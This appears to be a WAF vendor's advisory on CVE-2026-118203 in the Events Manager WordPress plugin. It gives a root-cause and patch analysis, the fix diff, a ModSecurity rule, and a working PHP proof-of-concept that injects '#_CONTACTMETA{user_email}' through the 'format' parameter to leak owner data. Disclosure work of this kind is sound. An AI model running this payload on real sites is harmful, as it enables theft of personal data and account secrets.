Published : December 4, 2026

CVE-2026-118203: Events Manager <= 7.4.10 Unauthenticated Sensitive Information Exposure to 'format' Parameter PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 862
Vulnerable Version 7.4.10
Patched Version 7.4.11
Disclosed December 3, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-118203: The Events Manager plugin for WordPress (versions up to and including 7.4.10) suffers from an unauthenticated sensitive information exposure vulnerability. The flaw resides in the handling of the ‘format’ parameter within the calendar rendering logic, allowing attackers to inject arbitrary placeholders that expand to sensitive user data. The CVSS score is 7.5, reflecting the high confidentiality impact and the lack of authentication required.

Root Cause: The vulnerability exists because the plugin accepted a ‘format’ parameter from user input without verifying that it originated from a trusted source. In em-calendar.php, the function that processes calendar output (around line 16) took the ‘format’ value from the request and applied it to the calendar array. This format string was later passed to the event output function in em-event.php, where placeholders like #_CONTACTMETA{key} are replaced. Prior to the patch, any unauthenticated user could supply a crafted format containing such placeholders, which would then be expanded using the event owner’s data. The root cause is the lack of integrity verification on the ‘format’ parameter, combined with insufficient restrictions on which user meta keys could be accessed via #_CONTACTMETA.

Exploitation: An attacker can exploit this by sending a GET request to any page that displays an event calendar, appending a ‘format’ parameter containing malicious placeholders. For example, a request to /events/ with ?format[]=#_CONTACTMETA{key} (or similar encoding) would cause the plugin to output the value of the specified user meta key for the event owner. The attacker can target any published event page; no authentication is required. By iterating over possible meta keys, the attacker can extract sensitive information such as the owner’s full name, username, email, phone number, numeric user ID, and arbitrary user meta values including third-party plugin secrets like 2FA/TOTP secrets, API keys, and WooCommerce billing data.

Patch Analysis: The patch (version 7.4.11) introduces several security measures. It adds a signature (format_sig) to the format parameter, computed using wp_hash with a secret salt (via get_format_signature). When a format is received via $_REQUEST, the plugin now verifies that the supplied format_sig matches the hash of the format; otherwise, it resets the format to an empty string. This prevents attackers from injecting arbitrary formats. Additionally, the patch replaces the condition for allowing #_CONTACTMETA output with a new method is_contact_meta_key_allowed, which blocks protected meta keys (those starting with underscore), keys prefixed with the database prefix, and specific sensitive keys like ‘session_tokens’, ‘user_pass’, etc. This ensures that even if a format is somehow injected, it cannot expose dangerous meta values. The patch also includes other unrelated security fixes (e.g., scope guard for OAuth app passwords, sanitization of upload file names, booking permission checks, and SQL condition logic correction) that are part of a broader security release.

Impact: Successful exploitation allows unauthenticated attackers to exfiltrate sensitive user information from the WordPress site. This includes personally identifiable information (PII) and potentially authentication secrets (2FA/TOTP secrets, API keys). Such data can lead to account takeover, further compromise of the site, and privacy breaches. The vulnerability is particularly severe because it requires no authentication and can be triggered with a simple GET request, making it easily exploitable at scale.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/events-manager/classes/em-calendar.php
+++ b/events-manager/classes/em-calendar.php
@@ -16,8 +16,16 @@
 		$original_args = $args;
 		$args = self::get_default_search($args);
 		if( !empty($args['format']) ) {
-			// escape the format if supplied via $_REQUEST, we are abundantly cautious here and won't test for a match, in case there's any kind of difference due to escaping, encoding etc.
 			if( !empty($_REQUEST['format']) ) {
+				// placeholders such as #_CONTACTMETA and #_ATTENDEESLIST expand server-side, so a request may only send back a format this site signed when it output the calendar
+				$args['format'] = wp_unslash( $args['format'] );
+				$format_sig = !empty($_REQUEST['format_sig']) && is_string($_REQUEST['format_sig']) ? $_REQUEST['format_sig'] : '';
+				if( !is_string($args['format']) || !hash_equals( static::get_format_signature($args['format']), $format_sig ) ) {
+					$args['format'] = '';
+				}
+			}
+			// escape a signed format too, we are abundantly cautious here in case there's any kind of difference due to escaping, encoding etc.
+			if( !empty($args['format']) && !empty($_REQUEST['format']) ) {
 				global $allowedposttags;
 				// for optimal performance, if you do not need to use HTML in your formats (for example, if just outputting #_EVENTIMAGE for example), we recommend you add this to your functions.php or similar:
 				// add_filter('em_calendar_allowed_format_html', '__return_empty_array');
@@ -32,6 +40,8 @@
 					$args['format'] = wp_kses( $args['format'], $allowed_format_html );
 				}
 			}
+		}
+		if( !empty($args['format']) ) {
 			$calendar_array['format'] = $args['format'];
 		} else {
 			// get the default format, future iterations will also deduce the format for different display styles.
@@ -608,6 +618,9 @@
 						$custom_args['calendar'][$name] = $value;
 					}
 				}
+				foreach( $custom_args as $group => $group_args ){
+					if( !empty($group_args['format']) ) $custom_args[$group]['format_sig'] = static::get_format_signature( $group_args['format'] );
+				}
 				?>
 				<form class="em-view-custom-data-search" id="em-view-custom-data-search-<?php echo absint($args['id']); ?>">
 					<?php foreach( array_merge($custom_args['search'], $custom_args['global']) as $name => $value ): ?>
@@ -628,6 +641,15 @@
 	}


+	/**
+	 * Signs a calendar format so that it can be sent back by a request, such as when navigating months, without letting a request supply a format of its own.
+	 * @param string $format
+	 * @return string
+	 */
+	public static function get_format_signature( $format ){
+		return wp_hash( 'em_calendar_format|' . $format );
+	}
+
 	public static function days_in_month($month, $year) {
 		return date('t', mktime(0,0,0,$month,1,$year));
 	}
--- a/events-manager/classes/em-event.php
+++ b/events-manager/classes/em-event.php
@@ -2608,6 +2608,17 @@
 		$format = $this->get_option( 'dbem_single_event_format' );
 		return apply_filters('em_event_output_single', $this->output($format, $target), $this, $target);
 	}
+
+	/**
+	 * Whether #_CONTACTMETA may output a user meta key. Protected keys (leading underscore), keys prefixed with the database prefix such as capabilities, and session tokens are refused, since formats can reach visitors.
+	 * @param string $meta_key
+	 * @return bool
+	 */
+	public static function is_contact_meta_key_allowed( $meta_key ){
+		global $wpdb;
+		$allowed = is_string($meta_key) && !is_protected_meta($meta_key, 'user') && strpos($meta_key, $wpdb->base_prefix) !== 0 && !in_array($meta_key, array('session_tokens', 'user_pass', 'user_activation_key', 'default_password_nag'), true);
+		return apply_filters('em_event_contact_meta_key_allowed', $allowed, $meta_key);
+	}

 	/**
 	 * Will output a event in the format passed in $format by replacing placeholders within the format.
@@ -3306,8 +3317,9 @@
 					}
 					break;
 				case '#_CONTACTMETA':
-					if( !empty($placeholders[3][$key]) ){
+					if( !empty($placeholders[3][$key]) && static::is_contact_meta_key_allowed($placeholders[3][$key]) ){
 						$replace = get_user_meta($this->event_owner, $placeholders[3][$key], true);
+						if( !is_scalar($replace) ) $replace = '';
 					}
 					break;
 				case '#_ATTENDEES':
--- a/events-manager/classes/em-object.php
+++ b/events-manager/classes/em-object.php
@@ -302,7 +302,7 @@
 			$is_location_status = $status_type == "location_status" && static::$context == 'location';
 			$is_event_status = $status_type == "event_status" && static::$context == 'event';
 			//$is_joined_status decides whether this status we're dealing with is part of a joined table or the main table
-			$is_joined_status = (!$is_location_status || !$is_event_status) && $args[$status_type] !== false;
+			$is_joined_status = !$is_location_status && !$is_event_status && $args[$status_type] !== false;
 			//we add a status condition if this is the main status context or if joining a table and joined status arg is not exactly false
 			if( $is_location_status || $is_event_status || $args[$status_type] !== false ){
 				$condition_status = $is_joined_status ? $status_type : 'status'; //the key for this condition type
--- a/events-manager/classes/lib/wp-oauth-app-passwords/src/Scope_Guard.php
+++ b/events-manager/classes/lib/wp-oauth-app-passwords/src/Scope_Guard.php
@@ -20,6 +20,10 @@
 	public static function boot(): void {
 		add_action( 'application_password_did_authenticate', array( static::class, 'on_authenticated' ), 10, 2 );
 		add_filter( 'rest_pre_dispatch', array( static::class, 'enforce' ), 0, 3 );
+		// Scope can only be checked on the REST transport. WordPress also accepts Application Passwords over XML-RPC and any other non-REST surface, where no scope check runs, so a route-restricted credential is refused there outright rather than acting with the user's full capabilities.
+		add_filter( 'determine_current_user', array( static::class, 'enforce_non_rest' ), 30 );
+		// The XML-RPC login path authenticates through the `authenticate` filter rather than determine_current_user (e.g. the app password passed as the XML-RPC password argument), so it is refused there too.
+		add_filter( 'authenticate', array( static::class, 'enforce_authenticate' ), 30, 3 );
 	}

 	/**
@@ -43,6 +47,40 @@
 	}

 	/**
+	 * Refuse a route-restricted credential of ours on any non-REST request. on_authenticated() has already run by this priority and set self::$allowed when one of our passwords authenticated; a restricted scope cannot be honoured off REST, so the request is left unauthenticated rather than granting the user's full capabilities (for example over XML-RPC).
+	 *
+	 * @param int|false|null $user_id
+	 * @return int|false|null
+	 */
+	public static function enforce_non_rest( $user_id ) {
+		if ( empty( $user_id ) || null === self::$allowed ) {
+			return $user_id;
+		}
+		if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
+			return $user_id;
+		}
+		return null;
+	}
+
+	/**
+	 * As enforce_non_rest(), but for the `authenticate` filter that the XML-RPC login path runs through. on_authenticated() fires during core's app-password check on this same filter, so by this priority self::$allowed reflects whether one of our route-restricted passwords just authenticated.
+	 *
+	 * @param null|WP_User|WP_Error $user
+	 * @param string                 $username
+	 * @param string                 $password
+	 * @return null|WP_User|WP_Error
+	 */
+	public static function enforce_authenticate( $user, $username, $password ) {
+		if ( ! $user instanceof WP_User || null === self::$allowed ) {
+			return $user;
+		}
+		if ( defined( 'REST_REQUEST' ) && REST_REQUEST ) {
+			return $user;
+		}
+		return new WP_Error( 'insufficient_scope', __( 'This credential is limited to the features it was approved for and cannot be used here.', 'wp-oauth-app-passwords' ) );
+	}
+
+	/**
 	 * @param mixed            $result
 	 * @param WP_REST_Server  $server
 	 * @param WP_REST_Request $request
--- a/events-manager/classes/uploads/em-uploads-uploader.php
+++ b/events-manager/classes/uploads/em-uploads-uploader.php
@@ -302,9 +302,9 @@
 				// Use mime_content_type to guess the MIME type; you may use other libraries for more reliability.
 				$file_type = mime_content_type( $stored_file );

-				if ( !empty($REQUEST[$file_key.'--names'][$file_id]) ) {
-					$file_name = $REQUEST[$file_key.'--names'][$file_id];
-				} else {
+				// the display name comes from the submitter and is shown to admins, so it is stored as plain text
+				$file_name = !empty($REQUEST[$file_key.'--names'][$file_id]) && is_string($REQUEST[$file_key.'--names'][$file_id]) ? sanitize_text_field( $REQUEST[$file_key.'--names'][$file_id] ) : '';
+				if ( $file_name === '' ) {
 					$file_name = $file_id;
 				}

--- a/events-manager/em-actions.php
+++ b/events-manager/em-actions.php
@@ -356,9 +356,13 @@
 			//ADD/EDIT Booking
 			ob_start();
 			em_verify_booking_nonce('booking_add');
+			// Authorise against the booking's persisted event before get_post() re-assigns event_id from the request. Otherwise a user could pass another user's booking_id together with an event they manage and have that booking re-saved onto their event, the same substitution already guarded in booking_form_summary. A new booking (no booking_id) is unaffected.
+			$can_edit_booking = empty($EM_Booking->booking_id) || $EM_Booking->can_manage('manage_bookings','manage_others_bookings') || ( is_user_logged_in() && !empty($EM_Booking->person->ID) && $EM_Booking->person->ID == get_current_user_id() );
 			if( !is_user_logged_in() || $EM_Booking->get_option('dbem_bookings_double') || !$EM_Event->get_bookings()->has_booking(get_current_user_id()) ){
 				if ( $EM_Event->event_status != 1 || $EM_Event->event_active_status != 1 ) {
 					$EM_Notices->add_error( __('This event is not available or has been cancelled', 'events-manager') ); // uncommon, not needed for custom error.
+				} elseif ( !$can_edit_booking ) {
+					$EM_Notices->add_error( __('You do not have permission to manage this booking.', 'events-manager') );
 				} else {
 				    $EM_Booking->get_post();
 					$post_validation = $EM_Booking->validate();
--- a/events-manager/events-manager.php
+++ b/events-manager/events-manager.php
@@ -1,7 +1,7 @@
 <?php
 /*
 Plugin Name: Events Manager
-Version: 7.4.10
+Version: 7.4.11
 Plugin URI: https://wp-events-plugin.com
 Description: Event registration and booking management for WordPress. Recurring events, locations, webinars, google maps, rss, ical, booking registration and more!
 Author: Pixelite
@@ -30,7 +30,7 @@
 // Setting constants
 use EMArchetypes;

-define('EM_VERSION', '7.4.10'); //self expanatory, although version currently may not correspond directly with published version number. until 6.0 we're stuck updating 5.999.x
+define('EM_VERSION', '7.4.11'); //self expanatory, although version currently may not correspond directly with published version number. until 6.0 we're stuck updating 5.999.x
 define('EM_PRO_MIN_VERSION', '3.9'); //self expanatory
 define('EM_PRO_MIN_VERSION_CRITICAL', '3.6.0.2'); //self expanatory
 define('EM_FILE', __FILE__); //an absolute path to this directory

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-118203
# Block requests to Events Manager calendar pages that attempt to inject a format parameter with #_CONTACTMETA placeholder
SecRule REQUEST_URI "@rx /events/" 
  "id:2026118203,phase:2,deny,status:403,chain,msg:'CVE-2026-118203 via Events Manager format parameter',severity:'CRITICAL',tag:'CVE-2026-118203'"
  SecRule ARGS_GET:format "@rx #_CONTACTMETA{" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-118203 - Events Manager <= 7.4.10 - Unauthenticated Sensitive Information Exposure to 'format' Parameter

$target_url = 'http://example.com/events/'; // Change to the target site's events page

// Example: Extract the event owner's email address using #_CONTACTMETA{user_email}
$payload = '#_CONTACTMETA{user_email}';

// Build the URL with the format parameter (URL-encoded)
$url = $target_url . '?format=' . urlencode($payload);

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);

// Execute the request
$response = curl_exec($ch);

if ($response === false) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    // The response should contain the extracted email address somewhere in the HTML.
    // In a real attack, you would parse the response to extract the value.
    echo 'Response (first 500 chars):' . "n";
    echo substr($response, 0, 500) . "n";
    echo 'Check the response for the leaked email address.' . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.